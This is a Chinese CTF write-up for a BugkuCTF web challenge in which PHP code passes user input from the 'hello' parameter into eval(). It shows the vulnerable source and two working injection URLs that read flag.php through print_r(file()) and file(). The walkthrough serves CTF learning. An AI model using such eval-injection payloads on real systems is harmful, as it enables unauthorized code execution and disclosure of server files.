1. 程式人生 > >BugkuCTF-WEB-本地包含

BugkuCTF-WEB-本地包含

題目提示,需要將flag.php包含進去才可以得到flag

百度了一下$_REQUEST函式,發現易存在sql漏洞和變數漏洞覆蓋

第二句話要獲得hello的值,由於hello為’hello’,所以無論在url欄中對hello賦任何值,都會全盤接受,其中var_dump()是將變數a列印到介面中,在根據eval函式的特性(計算後面括號中的表示式)

SO——

  (1)a變數由$_REQUEST變數獲取,可以用GET或POST方法為hello賦值進而為$a賦值

  (2)程式並未對hello的輸入進行判斷過濾

  (3)eval函式中執行的命令進而可以被$a的值所決定

方法一:構造方法來輸出flag.php

http://123.206.87.240:8003/?hello=);print_r(file("./flag.php"));%23

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); //eval("var_dump();print_r(file("./flag.php"));
    show_source(__FILE__); 
?>

可以得到flag

 

方法二:

可以file_get_contents()或者file()函式賦值給hello

構造如下:

http://123.206.87.240:8003/?hello=file(%22./flag.php%22)

由於file_get_contents()函式是將檔案的整個內容讀入到一個字串中

所以爆出的頁面如下

按下F12可以檢視string(84)中的內容